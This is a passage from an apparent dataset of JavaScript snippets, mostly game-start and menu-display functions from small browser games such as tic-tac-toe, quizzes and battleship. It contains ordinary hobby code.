input.value()\\r\\n\\r\\n playerCount+=1\\r\\n player.update(name)\\r\\n player.updateCount(playerCount)\\r\\n\\r\\n greeting.html(\\\"hellow \\\"+name)\\r\\n greeting.position(380,250)\\r\\n\\r\\n })\\r\\n\\r\\n }\",\n \"function showTheGame () {\\n\\t$(\\\".game\\\").show();\\n\\t$(\\\".startNowButton\\\").hide();\\n\\trun();\\n}\",\n \"startGame() {\\n document.getElementById('homemenu-interface').style.display = 'none';\\n document.getElementById('character-selection-interface').style.display = 'block';\\n this.interface.displayCharacterChoice();\\n this.characterChoice();\\n }\",\n \"function onClickGameName() {\\n stopGame();\\n\\n socket.send({action: \\\"exit_game\\\"});\\n $(\\\"#game\\\").hide(); \\n $(\\\"#game_choose\\\").show(); \\n\\n initHome();\\n }\",\n \"function startGame() {\\n\\n $(\\\"#questionPage\\\").hide();\\n \\n $(\\\"#start\\\").show();\\n\\n var startButton = $(\\\"\\\").click(hostNewGame);\\n}\",\n \"function startGame(){\\n document.querySelector('.menu').style.display = \\\"none\\\";\\n addClicks();\\n score.querySelector('h2').innerText = ('Game Ready. Player 1 turn.');\\n}\",\n \"function startGame() {\\n gameState.active = true;\\n resetBoard();\\n gameState.resetBoard();\\n\\n var activePlayer = rollForTurn();\\n \\n // Game has started: enable/disable control buttons accordingly.\\n btnDisable(document.getElementById('btnStart'));\\n btnEnable(document.getElementById('btnStop'));\\n\\n var showPlayer = document.getElementById('showPlayer');\\n showPlayer.innerHTML = activePlayer;\\n showPlayer.style.color = (activePlayer === \\\"Player 1\\\") ? \\\"blue\\\" : \\\"red\\\";\\n // The above line, doing anything more would require a pretty sizeable refactor.\\n // I guess I could name \\\"Player 1\\\" with a constant.\\n}\",\n \"function showLobby() {\\n battlefield.innerHTML = '';\\n gamesList.classList.remove('hidden');\\n updateBtn(actionBtn, ACTION_BTN.CREATE_GAME);\\n resetHeader();\\n }\",\n \"function getName() {\\n applicationState.user = userName.value;\\n document.getElementById(\\n \\\"userinfo\\\"\\n ).innerHTML = `welcome ${applicationState.user}`;\\n applicationState.gameStart = true;\\n startTime = Date.now();\\n}\",\n \"function start(){\\n c.style.display = \\\"none\\\"\\n d.style.display = \\\"block\\\"\\n document.querySelector(\\\"#user\\\").innerHTML= name + \\\" :\\\"\\n}\",\n \"function initiateGame(){\\n\\n\\t$( document ).ready( function() {\\n\\t\\t\\n\\t\\t$( '#display' ).html('');\\n\\t\\t$( '#display' ).attr('start', 'start');\\n\\t\\t$( '#display' ).on( 'click', function() {\\n\\t\\t\\trenderGame();\\n\\t\\t})\\n\\t\\t\\n\\t});\\n}\",\n \"static startGameOnClick(){\\n $('#imageIndex').on('click', function(event){\\n var imageId = parseInt(event.target.id.replace(\\\"image\\\", \\\"\\\"))\\n let userName = $('#username').val()\\n userName === \\\"\\\" ? userName = \\\"Guest\\\" : userName\\n startGame(imageId, userName)\\n })\\n }\",\n \"function newGameUser() {\\n var btn = document.getElementById(\\\"testName\\\");\\n btn.addEventListener(\\\"click\\\", function() {\\n userName = this.form.username.value;\\n changeUserText(userName);\\n this.form.username.value = \\\"\\\";\\n testLocal();\\n });\\n}\",\n \"function startGame()\\r\\n{\\r\\n // alert(\\\"The last straw \\\");\\r\\n\\r\\n isGameEnded = false ;\\r\\n playerName = prompt (\\\"What's your name ? \\\",\\\"Paul Tibbets\\\");\\r\\n statusMessage = \\\"Welcome, \\\"+playerName+\\\"!\\\" ;\\r\\n updateStatusMessage(statusMessage, 1) ;\\r\\n document.getElementById(\\\"name1\\\").innerHTML = playerName+\\\"'s Caption\\\" ;\\r\\n /* Empty the board contents */\\r\\n emptyBoard();\\r\\n\\r\\n /* Place the board at random for both computer and player */\\r\\n placeBoard();\\r\\n\\r\\n statusMessage = \\\"Hit me with your best shot, \\\"+playerName;\\r\\n updateStatusMessage(statusMessage, 2) ;\\r\\n\\r\\n}\",\n \"function GameUI() {}\",\n \"function screenPlayers()\\n{\\n\\tshowScreen(\\\"players_choice\\\", \\\"Choix des joueurs\\\", function()\\n\\t{\\n\\t\\tnbPlayers = 0;\\n\\n\\t\\tplayersList = [];\\n\\n\\t\\tdelete teamId;\\n\\n\\t\\tshowNext(\\\"Comptage\\\", function()\\n\\t\\t{\\n\\t\\t\\tconsole.log(\\\"Go vers le comptage !!!\\\");\\n\\t\\t});\\n\\n\\t\\t$.ajax(\\n\\t\\t{\\n\\t\\t\\turl: serverUrl + \\\"queries.php\\\",\\n\\t\\t\\ttype: \\\"POST\\\",\\n\\t\\t\\tcache: false,\\n\\t\\t\\tdata:\\n\\t\\t\\t{\\n\\t\\t\\t\\tfunc: \\\"get_user\\\"\\n\\t\\t\\t}\\n\\t\\t}).done(function(data)\\n\\t\\t{\\n\\t\\t\\tvar users = eval(data);\\n\\n\\t\\t\\tvar slide = $(\\\"
    \\\").attr(\\\"id\\\", \\\"users_slide\\\");\\n\\n\\t\\t\\tvar currentDiv = $(\\\"
    \\\");\\n\\n\\t\\t\\tfor(var user in users)\\n\\t\\t\\t{\\n\\t\\t\\t\\tif(user % 6 == 0 && user != 0)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tslide.append(currentDiv);\\n\\n\\t\\t\\t\\t\\tcurrentDiv = $(\\\"
    \\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tcurrentDiv.append(userSwitch(users[user]));\\n\\t\\t\\t}\\n\\n\\t\\t\\tslide.append(currentDiv);\\n\\n\\t\\t\\t$(\\\".wrapper\\\").append(slide);\\n\\n\\t\\t\\t$(\\\"#users_slide\\\").slick(\\n\\t\\t\\t{\\n\\t\\t\\t\\tdots: true,\\n\\t\\t\\t\\tinfinite: false\\n\\t\\t\\t});\\n\\n\\t\\t\\taddUserClickAction();\\n\\n\\t\\t\\tvar usersChoiceButtons = $(\\\"
    \\\").attr(\\\"id\\\", \\\"users_choice_buttons\\\");\\n\\n\\t\\t\\tvar ajouterButton = button(\\\"\\\").addClass(\\\"invisible\\\");\\n\\n\\t\\t\\tvar commencerButton = button(\\\"Commencer\\\").attr(\\\"id\\\", \\\"commencer\\\").addClass(\\\"disable\\\");\\n\\n\\t\\t\\tusersChoiceButtons.append($(\\\"
    \\\").append(ajouterButton));\\n\\n\\t\\t\\tusersChoiceButtons.append($(\\\"
    \\\").append(commencerButton));\\n\\n\\t\\t\\t$(\\\".wrapper\\\").append(usersChoiceButtons);\\n\\n\\t\\t\\thideLoader();\\n\\t\\t});\\n\\t});\\n}\",\n \"function gamestart() {\\n\\t\\tshowquestions();\\n\\t}\",\n \"function initGame(){\\n gamemode = document.getElementById(\\\"mode\\\").checked;\\n \\n fadeForm(\\\"user\\\");\\n showForm(\\\"boats\\\");\\n \\n unlockMap(turn);\\n \\n player1 = new user(document.user.name.value);\\n player1.setGrid();\\n \\n turnInfo(player1.name);\\n bindGrid(turn);\\n}\",\n \"startGame() {\\r\\n\\t\\tthis.board.drawHTMLBoard();\\r\\n\\t\\tthis.activePlayer.activeToken.drawHTMLToken();\\r\\n\\t\\tthis.ready = true;\\r\\n\\t}\",\n \"function playersOnClick () {\\n module.exports.internal.stateManager.showState('main-branch', 'pick-a-player')\\n}\",\n \"function startGame() {\\n showGuessesRemaining();\\n showWins();\\n}\",\n \"function startGame() {\\n console.log('start button clicked')\\n $('.instructions').hide();\\n $('.title').show();\\n $('.grid_container').show();\\n $('.score_container').show();\\n $('#timer').show();\\n // soundIntro('sound/Loading_Loop.wav');\\n }\",\n \"function startGame() {\\n //hide the deal button\\n hideDealButton();\\n //show the player and dealer's card interface\\n showCards();\\n //deal the player's cards\\n getPlayerCards();\\n //after brief pause, show hit and stay buttons\\n setTimeout(displayHitAndStayButtons, 2000);\\n }\",\n \"function start_game(){\\r\\n if(name_input.value==\\\"\\\"){\\r\\n enter_name_alert.style=\\\"visibility: visible;\\\"\\r\\n }\\r\\n else{\\r\\n enter_name_alert.style=\\\"visibility: hidden;\\\"\\r\\n first_layer.style.display=\\\"none\\\"\\r\\n user_name.innerHTML=name_input.value+' '\\r\\n }\\r\\n}\",\n \"function startGame() {\\n setMessage(player1 + ' gets to start.');\\n}\",\n \"function startGame() {\\n\\t\\tstatus.show();\\n\\t\\tinsertStatusLife();\\n\\t\\tsetLife(100);\\n\\t\\tsetDayPast(1);\\n\\t}\",\n \"function changeUser() {\\n var choice = Math.floor(Math.random() * name.length);\\n document.getElementById(\\\"user\\\").innerHTML = name[choice];\\n document.getElementById(\\\"userBtn\\\").innerHTML = name[choice];\\n document.getElementById(\\\"userDrop\\\").innerHTML = name[choice];\\n drawTextAndResize(name[choice]);\\n}\",\n \"function showButtons() {\\n // when users are not connected, we want start game button disabled\\n // document.getElementById('start-game').style.display = 'inline';\\n\\n document.getElementById('button-invite').style.display = 'inline';\\n // document.getElementById('button-preview').style.display = 'inline';\\n document.getElementById('grab-username').style.display = 'inline';\\n document.getElementById('username').style.display = 'inline';\\n document.getElementById('invite-to').style.display = 'inline';\\n\\n // document.getElementById('end-call').style.display = 'none';\\n\\n // ensure that local media removes on firefox\\n $('#local-media > video').remove();\\n }\",\n \"function startGame() {\\n createButtons();\\n const cards = createCardsArray();\\n appendCardsToDom(cards);\\n}\",\n \"function startGame() {\\n setMessage(\\\"Select an opponent above\\\");\\n}\",\n \"function menu() {\\n\\t\\n // Title of Game\\n title = new createjs.Text(\\\"Poker Room\\\", \\\"50px Bembo\\\", \\\"#FF0000\\\");\\n title.x = width/3.1;\\n title.y = height/4;\\n\\n // Subtitle of Game\\n subtitle = new createjs.Text(\\\"Let's Play Poker\\\", \\\"30px Bembo\\\", \\\"#FF0000\\\");\\n subtitle.x = width/2.8;\\n subtitle.y = height/2.8;\\n\\n // Creating Buttons for Game\\n addToMenu(title);\\n addToMenu(subtitle);\\n startButton();\\n howToPlayButton();\\n\\n // update to show title and subtitle\\n stage.update();\\n}\",\n \"function win () { \\n style = { font: \\\"65px Arial\\\", fill: \\\"#fff\\\", align: \\\"center\\\" };\\n game.add.text(game.camera.x+325, game.camera.y+150, \\\"You Win!\\\", style);\\n button = game.add.button(game.camera.x+275, game.camera.y+250, 'reset-button', actionOnResetClick, this);\\n button = game.add.button(game.camera.x+475, game.camera.y+250, 'contact-button', actionOnContactClick, this); \\n // The following lines kill the players movement before disabling keyboard inputs\\n player.body.velocity.x = 0;\\n setTimeout(game.input.keyboard.disabled = true, 1000); \\n // Plays the victory song \\n victory.play('');\\n // When the Reset button is clicked, it calls this function, which in turn calls the game to be reloaded.\\n // Here we display the contact and replay button options, calling either respective function\\n function actionOnResetClick () {\\n gameRestart();\\n }\\n\\n // When the contact button is clicked it redirects through to contact form\\n function actionOnContactClick () {\\n\\n window.location = (\\\"/contacts/\\\" + lastName)\\n \\n } \\n }\",\n \"function startGame(){\\n\\t$( \\\"#button_game0\\\" ).click(function() {selectGame(0)});\\n\\t$( \\\"#button_game1\\\" ).click(function() {selectGame(1)});\\n\\t$( \\\"#button_game2\\\" ).click(function() {selectGame(2)});\\n\\tloadRound();\\n}\",\n \"function displayStart(){\\n\\t// Display game start button again\\n\\t$('#game').append(\\\"
    \\\");\\n\\t$(\\\"#start\\\").unbind();\\n\\t$(\\\"#start\\\").click(startGame);\\n\\t// Play main theme song again\\n\\tmarioGame.audMainTheme.play();\\n}\",\n \"function switchToGameBoard(){\\n\\t\\tif(userlist.length === 0){\\n\\t\\t\\tturnService.showWaitingAlert();\\n\\t\\t}\\n\\t\\t$userLoginArea.hide();\\n\\t\\t$pageWrapper.show();\\n\\t\\t$currentPhrase.hide();\\n\\t}\",\n \"function startGame() {\\n \\n $(\\\"#start-button\\\").html(\\\"\\\");\\n $(\\\"#start-button\\\").on('click', function () {\\n $(\\\"#start-button\\\").remove();\\n startTimer();\\n getQuestion();\\n });\\n }\",\n \"function startScreen() {\\n\\tdraw();\\n\\tif(usuario_id !== -1)\\n\\t\\tstartBtn.draw();\\n}\",\n \"function startGame() {\\n\\t\\ttheBoxes.innerText = turn;\\n\\t\\twinner = null;\\n\\t}\",\n \"function startGame() {\\n\\tvar serverMsg = document.getElementById('serverMsg');\\n\\tdocument.getElementById('print').disabled = false;\\n\\tserverMsg.value += \\\"\\\\n> all players have joined, starting game, wait for your turn...\\\"\\n\\tdocument.getElementById('rigger').style.display = \\\"none\\\";\\n}\",\n \"function joined(e) {\\n userId = e.id;\\n $('#controls').show();\\n startPrompts();\\n}\",\n \"function startGame() {\\n\\n game.updateDisplay();\\n game.randomizeShips();\\n $(\\\"#resetButton\\\").toggleClass(\\\"hidden\\\");\\n $(\\\"#startButton\\\").toggleClass(\\\"hidden\\\");\\n game.startGame();\\n game.updateDisplay();\\n saveGame();\\n}\",\n \"function updateStartGameButtonVisibility() {\\n //find out if current user is the creator\\n var isCreator = (gameInfo.username === gameInfo.gameID);\\n //get number of players\\n var numPlayers = gameInfo.currentPlayers.length;\\n\\n if (isCreator && (numPlayers >= minNumberOfPlayers)) {\\n //this is the game creator and there are enough players. Show start game option\\n $(\\\"#startGameButton\\\").show();\\n } else {\\n //hide or keep hidden the startGameButton in all other cases\\n $(\\\"#startGameButton\\\").hide();\\n }\\n}\",\n \"function startNewGame(text){\\n\\n\\t//console.log('start new game!');\\n\\n\\ttext.destroy();\\n\\n\\t//not very elegant but it does the job\\n\\tvar playerName = prompt(\\\"What's your name?\\\", \\\"Cloud\\\");\\n\\n\\t//store player name in cache to be shown on in-game HUD\\n\\tlocalStorage.setItem(\\\"playerName\\\", playerName);\\n\\n\\tthis.game.state.start('Game');\\n}\",\n \"function startGameButton() {\\r\\n\\tif(table != undefined) {\\r\\n\\t\\ttable.startGame();\\r\\n\\t}\\r\\n}\",\n \"function login() {\\n Player.name = $(\\\"#login_name\\\").val();\\n $(\\\"#console\\\").hide();\\n start_game();\\n}\",\n \"function beginApp() {\\n console.log('Please build your team');\\n newMemberChoice();\\n}\",\n \"function getFirstPlayer(){\\n var firstRound = (Math.floor(Math.random() * 10) + 1)%2;\\n turnsPlayer = turnsPlayer + firstRound;\\n //display the current turn:\\n if (turnsPlayer%2 == 0){\\n currentPlayer = user.userx.name;\\n } else {\\n currentPlayer = user.usero.name;}\\n $(\\\"#button2\\\").on(\\\"click\\\", function(){\\n $(\\\"p\\\").text(\\\"Player \\\" + currentPlayer + \\\"'s turn\\\");\\n });\\n }\",\n \"function populatepage(){\\n \\n document.getElementById('signedNamePlace').innerHTML = \\\"User: \\\";\\n document.getElementById('signedName').innerHTML = username;\\n document.getElementById('firstbtn').style.visibility = \\\"visible\\\";\\n document.getElementById('simplebtn').style.visibility = \\\"visible\\\";\\n}\",\n \"function handleStartClick() {\\n toggleButtons(true); // disable buttons\\n resetPanelFooter(); // reset panel/footer\\n\\n for (let id of ['player-panel', 'ai-panel', 'enemyboard', 'ai-footer', 'player-footer']) {\\n document.getElementById(id).classList.remove(\\\"hidden\\\");\\n }\\n\\n game = new Game(settings.difficulty, settings.playerBoard);\\n game.start();\\n}\",\n \"update() {\\n this.nameText.text = 'Submit Name to Leaderboard:\\\\n ' + this.userName + '\\\\n(Submits on New Game)';\\n\\n }\",\n \"function initializeGame(){\\n if (typeof playerOne === \\\"undefined\\\"){\\n $(\\\"section#game-section .game .game-wrapper\\\").text(\\\"Player One to Sign Up\\\");\\n\\n }else if(typeof playerTwo === \\\"undefined\\\") {\\n $(\\\"section#game-section .game .game-wrapper\\\").text(\\\"Player Two to Sign Up\\\");\\n }else{\\n $(\\\"section#game-section .game .game-wrapper\\\").text(\\\"Game will start shortly \\\");\\n $(\\\"section#game-section .game .game-wrapper\\\").append(playerTwo.name+' vs '+playerOne.name);\\n startGame();\\n assignStartTurn();\\n }\\n}\",\n \"function aboutGame(){\\n\\tvar temp=\\\"\\\";\\n\\tvar img=\\\"\\\";\\n\\tvar Title=\\\"\\\";\\n\\t/// if we clicked on about the game formate about game text \\n\\tif(this.id === 'abutBtn'){\\n\\t\\ttemp =window.gameInformation['abutBtn'];\\n\\t\\timg='\\\\rrecources\\\\\\\\AF005415_00.gif';\\n\\t\\tTitle=\\\" Game General Information \\\";\\n\\n\\t}////// if we clicked on about the game formate about auther text \\n\\telse if(this.id === 'abouMe'){\\n\\t\\ttemp =window.gameInformation['abouMe'];\\n\\t\\timg='\\\\rrecources\\\\\\\\viber_image_2019-09-26_23-29-08.jpg';\\n\\t\\tTitle=\\\" About The Auther\\\";\\n\\t}// formatting Text For Instructions\\n\\telse if(this.id === 'Instructions')\\n\\t{\\n\\t\\ttemp =window.gameInformation['Instructions'];\\n\\t\\timg='\\\\rrecources\\\\\\\\keyboard-arrows-512.png';\\n\\t\\tTitle=\\\" Instructions\\\";\\n\\t}\\n\\n\\t// create the dialog for each button alone\\n\\tcreatDialog(Title , temp ,img,300 );\\n\\t\\n}\",\n \"function startGame() {\\n const usernameField = document.querySelector(\\\".username-field\\\");\\n playerName = usernameField.value;\\n hideGameIntroModal();\\n fetch(\\\"headlines.json\\\")\\n .then(response => response.json())\\n .then(data => selectStories(data));\\n}\",\n \"function main() {\\r\\n rock_div.addEventListener(\\\"click\\\", () => {\\r\\n game(\\\"r\\\");\\r\\n resetUserRPS();\\r\\n showUserRock_div.style.display = \\\"block\\\";\\r\\n checkWhoWon();\\r\\n });\\r\\n paper_div.addEventListener(\\\"click\\\", () => {\\r\\n game(\\\"p\\\");\\r\\n resetUserRPS();\\r\\n showUserPaper_div.style.display = \\\"block\\\";\\r\\n checkWhoWon();\\r\\n });\\r\\n scissors_div.addEventListener(\\\"click\\\", () => {\\r\\n game(\\\"s\\\");\\r\\n resetUserRPS();\\r\\n showUserScissors_div.style.display = \\\"block\\\";\\r\\n checkWhoWon();\\r\\n });\\r\\n\\r\\n}\",\n \"function display() {\\n\\n doSanityCheck();\\n initButtons();\\n}\",\n \"function initialize() {\\n $(\\\"#begin-btn\\\").html(\\\"\\\");\\n\\n }\",\n \"function startGame() {\\n startButton.classList.add(\\\"hide-content\\\");\\n resetButton.classList.remove(\\\"hide-content\\\");\\n $(\\\"#turnsTaken\\\").text(\\\"0\\\");\\n originalColor();\\n beginGame();\\n}\",\n \"function selectTypeGame(){\\r\\n\\r\\n inputs.forEach(input => input.value = \\\"\\\");//clean all imputs\\r\\n //if the user want to play with other user\\r\\n if(this.id === '2user'){\\r\\n //run the btnGame's logic\\r\\n containerModeGame.style.display = 'none';\\r\\n containerForm.style.display = 'block';\\r\\n\\r\\n //if the user want to play with the computer\\r\\n }else if(this.id === 'computerUser'){\\r\\n const userSelects = document.querySelectorAll('.userSelect');//btns X or O\\r\\n const userPrime = document.getElementById('userPrime');// input user name\\r\\n \\r\\n containerModeGame.style.display = 'none';\\r\\n containerPlayWithComputer.style.display = 'block'\\r\\n\\r\\n \\r\\n userSelects.forEach(userSelect => userSelect.addEventListener('click',(e)=>{\\r\\n \\r\\n if(userPrime.value.length === 0){//checks if the input is empty\\r\\n \\r\\n userPrime.parentNode.lastElementChild.textContent = 'User name cannot be empty';// write the message in the div\\r\\n //input.parentNode.lastElementChild.classList.add('alert');//add the alert class to the div\\r\\n\\r\\n userPrime.classList.add('input-alert');//add the input-alert class to the input\\r\\n\\r\\n } else {\\r\\n \\r\\n value1 = e.target.id === 'userX'? 'X':'O';\\r\\n value2 = value1 === 'X'? 'O':'X';\\r\\n\\r\\n //creating the user objects\\r\\n user1V = Object.assign(user1V,newUser(userPrime.value,true,value1));\\r\\n user2V = Object.assign(user2V,newUser('Computer',false,value2));\\r\\n\\r\\n \\r\\n containerPlayWithComputer.style.display = 'none';\\r\\n containerGame.style.display = 'block';\\r\\n\\r\\n //call the game; gameTicTacToe it's a module now \\r\\n const gameTicTacToe = game();\\r\\n\\r\\n\\r\\n gameTicTacToe.newGrid();\\r\\n gameTicTacToe.renderGrid();\\r\\n \\r\\n }\\r\\n\\r\\n \\r\\n }))\\r\\n\\r\\n }\\r\\n}\",\n \"function initGame() {\\n correctGuesses = 0;\\n incorrectGuesses = 0;\\n gameInProgress = false;\\n $(\\\"#gameStart\\\").html(\\\"\\\")\\n .click(playGame);\\n}\",\n \"function game() {\\n document.querySelector(\\\"#gameStartModal\\\").style.display = \\\"none\\\";\\n document.querySelector(\\\"#header section#level\\\").style.display = \\\"block\\\";\\n document.querySelector(\\\"#header section#start\\\").style.display = \\\"block\\\";\\n init();\\n // The game loop.\\n update();\\n}\",\n \"function startGame() {\\r\\n\\r\\n\\tvar playerName = document.getElementById(\\\"playername\\\").value;\\r\\n\\t\\r\\n\\tif (playerName == \\\"\\\") {\\r\\n\\t\\treturn false;\\r\\n\\t}else{\\r\\n\\t\\r\\n\\t\\t// Store player name in pName variable\\r\\n\\t\\tpName = playerName;\\r\\n\\t\\t// Remove display of the intro screen\\r\\n\\t\\tdocument.getElementById(\\\"intro\\\").style.display = \\\"none\\\";\\r\\n\\t\\t// Add event listeners controls\\r\\n\\t\\taddControls();\\r\\n\\t\\t//Sounds.moon.play();\\r\\n\\t}\\r\\n\\r\\n\\r\\n}\",\n \"function startGame() {\\n currentScoreDisplay.textContent = 0;\\n player1Score.textContent = 0;\\n player2Score.textContent = 0;\\n player = Math.floor(Math.random() * 2) + 1;\\n gameStarted = true;\\n showPlayer(player);\\n displayScores();\\n}\",\n \"function startNewGame(evt) {\\n 'use strict';\\n document.getElementById(\\\"gameDiv\\\").innerHTML = \\\"\\\";\\n var menuDiv = document.getElementById(\\\"menuControls\\\");\\n \\n /* Variables for current player & last play to reset */\\n var lastPlayDisplay = document.getElementById(\\\"lastPlayMade\\\");\\n var currentPlayerDisp = document.getElementById('currentPlayer');\\n lastPlayDisplay.innerHTML = \\\"\\\";\\n currentPlayerDisp.innerHTML = \\\"\\\";\\n \\n menuDiv.innerHTML = \\\"\\\";\\n document.getElementById(\\\"gameStatus\\\").style.display = \\\"none\\\";\\n \\n var newGameEntry = document.getElementById(\\\"userEntry\\\");\\n newGameEntry.innerHTML = \\\"Player One Designation:
    \\\";\\n newGameEntry.innerHTML += \\\"Player Two Designation:
    \\\";\\n \\n var plyrOneName = document.getElementById(\\\"plyrOneName\\\");\\n var plyrTwoName = document.getElementById(\\\"plyrTwoName\\\");\\n addHandler(plyrOneName, 'input', playerNameChange);\\n addHandler(plyrTwoName, 'input', playerNameChange);\\n \\n var startGameBtn = document.getElementById(\\\"startGameBtn\\\");\\n addHandler(startGameBtn, 'click', generateGameGrid);\\n}\",\n \"function startGame() {\\n\\t$(\\\"#start-button\\\", \\\"#menu\\\").click(function(){\\n\\t\\tif (sess_token == null) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tbutton_lock = true;\\n\\t\\tdocument.getElementById(\\\"question-answer-container\\\").style.visibility = \\\"visible\\\";\\n\\t\\tdocument.getElementById(\\\"stats\\\").style.visibility = \\\"visible\\\";\\n\\t\\tdocument.getElementById(\\\"menu\\\").style.visibility = \\\"hidden\\\";\\n\\t\\tdocument.getElementById(\\\"reset-button\\\").style.visibility = \\\"visible\\\";\\n\\t\\tgetQuestion(\\\"easy\\\");\\n\\t}); \\n}\",\n \"function startGame() {\\n let gameBoard = document.getElementById('gameBoard');\\n let tutorial = document.getElementById('tutorial');\\n gameBoard.style.display = \\\"block\\\";\\n tutorial.style.display = \\\"none\\\";\\n addGround();\\n addTree(treeCenter, trunkHeight);\\n addBush(bushStart);\\n addStones(stoneStart);\\n addCloud(cloudStartX, cloudStartY);\\n addingEventListenersToGame();\\n addingEventListenersToTools();\\n addInventoryEventListeners()\\n}\",\n \"function NewGame() {\\n\\t// Your code goes here for starting a game\\n\\tprint(\\\"Complete this method in Singleplayer.js\\\");\\n}\",\n \"function onBoardClick() {\\n if (!hasStarted) {\\n startGame();\\n } else {\\n startPause();\\n }\\n }\",\n \"function createUser (){\\n\\t//create user and get names from the user\\n\\tuser.townName = document.getElementById('townName').value;\\n\\tuser.character = document.getElementById('charName').value;\\n\\n\\t//hide the user creation div and show the output div\\n\\t\\n\\tdocument.getElementById('outputDiv').style.display='block';\\n\\tdocument.getElementById('descriptionDiv').style.display='block';\\n\\tdocument.getElementById('textEntryDiv').style.display='block';\\n\\tdocument.getElementById('inputDiv').style.display='none';\\n \\n\\t//Inititalize stuff\\n\\tclear();\\n\\tcreateItems();\\n\\tcreatePeople();\\n\\tcreateLocations();\\n\\tconnectLocations();\\n\\tgoTo(downtown); //Start the user in this location\\n\\t\\n\\t//Welcome the user\\n\\tdocument.getElementById('outputDiv').innerHTML=\\n\\t'Welcome to ' + user.townName + ', have fun playing our game ' + user.character + '! ' + user.townName + ' is divided into three sections Uptown, the Shopping District, and Downtown.';\\n }\",\n \"function startGame(){\\n\\t\\tfor (var i=1; i<=9; i=i+1){\\n\\t\\t\\tclearBox(i);\\n\\t\\t}\\n\\t\\tdocument.turn = \\\"X\\\";\\n\\t\\tif (Math.random()<0.5) {\\n\\t\\t\\tdocument.turn = \\\"O\\\";\\n\\t\\t}\\n\\t\\tdocument.winner = null;\\n\\t// This uses the \\\"setMessage\\\" function below in order to update the message with the contents from this function\\n\\t\\tsetMessage(document.turn + \\\" gets to start.\\\");\\n\\t}\",\n \"function displayUI() {\\n /*\\n * Be sure to remove any old instance of the UI, in case the user\\n * reloads the script without refreshing the page (updating.)\\n */\\n $('#plugbot-ui').remove();\\n\\n /*\\n * Generate the HTML code for the UI.\\n */\\n $('#chat').prepend('
    ');\\n var cWoot = autowoot ? \\\"#3FFF00\\\" : \\\"#ED1C24\\\";\\n var cQueue = autoqueue ? \\\"#3FFF00\\\" : \\\"#ED1C24\\\";\\n var cHideVideo = hideVideo ? \\\"#3FFF00\\\" : \\\"#ED1C24\\\";\\n var cUserList = userList ? \\\"#3FFF00\\\" : \\\"#ED1C24\\\";\\n $('#plugbot-ui').append(\\n '

    auto-woot

    auto-queue

    hide video

    userlist

    Custom Username FX:

    + add new

    ');\\n}\",\n \"function renderPlayer(){\\n console.log('in renderPlayer')\\n let text;\\n if (!state.players[0] || !state.players[1]){\\n text = `\\n \\n \\n \\n `\\n } else {\\n text = `${state.getCurrentPlayer()} place a token!`\\n }\\n playerTurn.innerHTML= text;\\n }\",\n \"static showGame() {\\n document.getElementById('js-player-selection').style.display = 'none';\\n document.getElementById('js-game-info').style.display = 'block';\\n }\",\n \"showStartButton() {\\n let startButton = document.createElement(\\\"button\\\");\\n startButton.innerHTML = \\\"Start\\\";\\n startButton.addEventListener(\\\"click\\\", function () {\\n game.deleteStartButton();\\n game.showTitle();\\n game.showReply();\\n game.showForm();\\n });\\n startButton.classList.add(\\\"start\\\");\\n this.main.appendChild(startButton);\\n }\",\n \"function startGame(player1Name, player2Name, difficultySetting) {\\n window.scoreboard = new Scoreboard(player1Name, player2Name, difficultySetting); \\n window.gameboard = new Gameboard(difficultySetting); \\n window.clickToPlay = new ClickToPlay(player1Name, player2Name, difficultySetting);\\n $('#grid-container-body').removeClass('hide');\\n setTimeout(hideWelcomeModal, 500);\\n }\",\n \"function beginGame() {\\n gameConsole.innerHTML = \\\"\\\";\\n\\n// Prompt player name\\nplayer1Name = prompt('Please input your name');\\n\\n// and change it in the HTML\\n document.getElementById('player-1-name').innerHTML = player1Name;\\n\\n// explain the rules for the opening puzzle\\n gameConsole.innerHTML = 'Thanks ' + player1Name + '. The opening puzzle will begin. There will be one word up above that will fill in slowly. Click the buzzer of the opportunity to guess correctly. A correct guess will net you 50 points, and control of the first board. Guessing incorrectly will give the opponent the points and control. Good luck, and click the start button to begin.';\\n\\n// modify the start button to initialize the pizzle as oppose to beginning the game\\n\\tappendOutputConsole('div', '', 'flex-container justify-center');\\n}\",\n \"function startGame() {\\n printStats();\\n console.log(\\\"Game Started\\\");\\n getGamePick();\\n console.log(gPick);\\n document.getElementById('Title').innerHTML=\\\"Great, now it is you turn pick a letter a-z\\\"; \\n }\",\n \"function clickToStart(){\\n if (gameStarted === false) {\\n $(\\\"#win-count\\\").text(wins);\\n $(\\\"#loss-count\\\").text(wins);\\n $(\\\"#win-header\\\").text(\\\"wins\\\");\\n $(\\\"#loss-header\\\").text(\\\"losses\\\");\\n $(\\\"#number-to-guess\\\").text(targetNumber);\\n $(\\\"#userCounter\\\").text(counter);\\n $(\\\"#clickToStart\\\").addClass(\\\"isHidden\\\");\\n generateRupees();\\n gameStarted = true;\\n } \\n \\n }\",\n \"function gameStart(){\\n\\t\\tplayGame = true;\\n\\t\\tmainContentRow.style.visibility = \\\"visible\\\";\\n\\t\\tscoreRow.style.visibility = \\\"visible\\\";\\n\\t\\tplayQuitButton.style.visibility = \\\"hidden\\\";\\n\\t\\tquestionPool = getQuestionPool(answerPool,hintPool);\\n\\t\\tcurrentQuestion = nextQuestion();\\n}\",\n \"function displayPlayer(turn, player) {\\n turn.html('It is player '+player+'\\\\'s turn');\\n }\",\n \"function displayPlayers() {\\n $('#userNameBox').text(human.name)\\n $('#userSymbolBox').text(human.symbol)\\n $('#compNameBox').text(ai.name)\\n $('#compSymbolBox').text(ai.symbol)\\n}\",\n \"displayBoard(message) {\\n $('.menu').css('display', 'none');\\n $('.gameBoard').css('display', 'block');\\n $('#userHello').html(message);\\n this.createGameBoard();\\n }\",\n \"function start(){\\n //hide game and error message\\n document.getElementById(\\\"error-message\\\").classList.add(\\\"hidden\\\");\\n document.getElementById(\\\"game\\\").classList.add(\\\"hidden\\\");\\n\\n //add event listener to start button to trigger game\\n\\tvar start = document.getElementById(\\\"intro\\\").firstChild.nextSibling;\\n start.addEventListener('click', game);\\n}\",\n \"function showLoggedInUser(user) {\\n login_status.text(\\\"Logged in as: \\\" + user.profile.name);\\n login_button.text(\\\"Logout\\\");\\n }\",\n \"function startGame() {\\n $controls.addClass(\\\"hide\\\");\\n $questionWrapper.removeClass(\\\"hide\\\");\\n showQuestion(0, \\\"n\\\");\\n points();\\n}\",\n \"create () {\\n var background = this.game.add.sprite(0, 0, 